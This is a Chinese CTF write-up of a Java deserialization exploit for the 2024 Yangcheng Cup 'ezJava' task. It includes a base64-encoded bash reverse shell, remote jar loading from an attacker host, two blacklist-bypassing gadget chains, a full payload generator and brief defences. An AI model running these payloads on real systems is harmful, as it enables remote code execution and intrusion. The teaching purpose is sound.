2024羊城杯ezJava EventListenerList新链反序列化
字数 1102 2025-08-24 07:48:23
Java反序列化漏洞利用教学:基于EventListenerList和TextAndMnemonicHashMap的新链
1. 环境分析
1.1 依赖项分析
题目提供的JAR包包含以下关键依赖:
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>org.mariadb.jdbc</groupId>
<artifactId>mariadb-java-client</artifactId>
<version>2.7.2</version>
</dependency>
<!-- 其他依赖省略 -->
</dependencies>
1.2 反序列化过滤
MyObjectInputStream类通过resolveClass方式过滤了以下危险类:
"java.lang.Runtime"
"java.lang.ProcessBuilder"
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
"java.security.SignedObject"
"com.sun.jndi.ldap.LdapAttribute"
"org.apache.commons.beanutils"
"org.apache.commons.collections"
"javax.management.BadAttributeValueExpException"
"com.sun.org.apache.xpath.internal.objects.XString"
2. 漏洞利用思路
2.1 关键利用点
- User类反射调用URLClassLoader#addURL:通过反射方式调用
URLClassLoader#addURL(this.username)方法 - 协议限制:禁止了
http和file协议,但可以使用jar协议绕过 - Shiro路径限制:路径匹配被严格限制
2.2 攻击步骤
- 构造恶意
Calc类,在static和readObject方法中放置反弹shell代码 - 使用admin/admin888登录后台
- 通过
/user/ser接口反序列化触发User#getGift方法,将远程jar包路径添加到URLClassLoader - 再次通过
/user/ser接口触发Calc类的反序列化,从远程jar包加载并执行恶意代码
3. 恶意类构造
3.1 反弹shell类示例
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class exp implements Serializable {
static String code = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}";
static {
try {
Runtime.getRuntime().exec(code);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
private void readObject(ObjectInputStream in) throws Exception {
Runtime.getRuntime().exec(code);
}
}
编译并打包:
javac exp.java
jar -cvf exp.jar exp.class
3.2 URLClassLoader利用
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
public class URLClassLoaderAddURLTest {
public static void main(String[] args) throws Exception {
String gift = "jar:http://vps:8999/exp.jar!/";
URL url1 = new URL(gift);
Class<?> URLclass = Class.forName("java.net.URLClassLoader");
Method add = URLclass.getDeclaredMethod("addURL", URL.class);
add.setAccessible(true);
URLClassLoader classloader = (URLClassLoader) ClassLoader.getSystemClassLoader();
add.invoke(classloader, url1);
}
}
4. 反序列化链构造
4.1 方法一:TextAndMnemonicHashMap链
利用javax.swing.UIDefaults.TextAndMnemonicHashMap的toString链:
public static HashMap maskmapToString(Object o1, Object o2) throws Exception {
Map tHashMap1 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Map tHashMap2 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
tHashMap1.put(o1, null);
tHashMap2.put(o2, null);
setFieldValue(tHashMap1, "loadFactor", 1);
setFieldValue(tHashMap2, "loadFactor", 1);
HashMap hashMap = new HashMap();
Class node = Class.forName("java.util.HashMap$Node");
Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node);
constructor.setAccessible(true);
Object node1 = constructor.newInstance(0, tHashMap1, null, null);
Object node2 = constructor.newInstance(0, tHashMap2, null, null);
Field key = node.getDeclaredField("key");
Field modifiers = Field.class.getDeclaredField("modifiers");
modifiers.setAccessible(true);
modifiers.setInt(key, key.getModifiers() & ~Modifier.FINAL);
key.setAccessible(true);
key.set(node1, tHashMap1);
key.set(node2, tHashMap2);
Field size = HashMap.class.getDeclaredField("size");
size.setAccessible(true);
size.set(hashMap, 2);
Field table = HashMap.class.getDeclaredField("table");
table.setAccessible(true);
Object arr = Array.newInstance(node, 2);
Array.set(arr, 0, node1);
Array.set(arr, 1, node2);
table.set(hashMap, arr);
return hashMap;
}
4.2 方法二:EventListenerList链
利用EventListenerList的readObject触发toString:
// 链式调用
EventListenerList.readObject -> POJONode.toString -> ConvertedVal.getValue -> ClassPathXmlApplicationContext.<init>
具体实现:
// 删除BaseJsonNode#writeReplace方法以便序列化
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
// 构造POJONode
POJONode node = new POJONode(user);
// 构造EventListenerList链
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(pojoNode);
setFieldValue(list, "listenerList", new Object[]{Map.class, manager});
5. 完整Payload生成
import com.example.ycbjava.bean.User;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import sun.misc.Unsafe;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class Exp {
public static void main(String[] args) throws Exception {
User user = new User();
user.setUsername("jar:http://vps:8999/exp.jar!/");
// 删除BaseJsonNode#writeReplace方法用于顺利序列化
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
POJONode node = new POJONode(user);
HashMap hashMap = makeHashMapByTextAndMnemonicHashMap(node);
byte[] bytes = serialize(hashMap);
System.out.println(Base64.getEncoder().encodeToString(bytes));
}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return baos.toByteArray();
}
public static HashMap makeHashMapByTextAndMnemonicHashMap(Object toStringClass) throws Exception {
Map tHashMap1 = (Map) getObjectByUnsafe(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
Map tHashMap2 = (Map) getObjectByUnsafe(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
tHashMap1.put(toStringClass, "123");
tHashMap2.put(toStringClass, "12");
setFieldValue(tHashMap1, "loadFactor", 1);
setFieldValue(tHashMap2, "loadFactor", 1);
HashMap hashMap = new HashMap();
hashMap.put(tHashMap1, "1");
hashMap.put(tHashMap2, "1");
tHashMap1.put(toStringClass, null);
tHashMap2.put(toStringClass, null);
return hashMap;
}
public static Object getObjectByUnsafe(Class clazz) throws Exception {
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
return unsafe.allocateInstance(clazz);
}
public static void setFieldValue(Object obj, String key, Object val) throws Exception {
Field field = null;
Class clazz = obj.getClass();
while(true){
try {
field = clazz.getDeclaredField(key);
break;
} catch(NoSuchFieldException e){
clazz = clazz.getSuperclass();
}
}
field.setAccessible(true);
field.set(obj, val);
}
}
6. 防御措施
- 升级依赖:更新Shiro和其他依赖到最新版本
- 严格过滤:完善反序列化过滤机制,不仅过滤类名,还要检查类内容
- 协议限制:限制URLClassLoader可加载的协议类型
- 权限控制:限制反射操作,特别是Method.setAccessible等危险操作
- 输入验证:对所有反序列化输入进行严格验证
7. 总结
本文详细分析了两种新的Java反序列化利用链:
- 基于
TextAndMnemonicHashMap的toString链 - 基于
EventListenerList的readObject触发链
这两种方法都绕过了传统的黑名单过滤机制,通过精心构造的链式调用最终实现远程代码执行。理解这些利用技术有助于开发者更好地防御反序列化漏洞。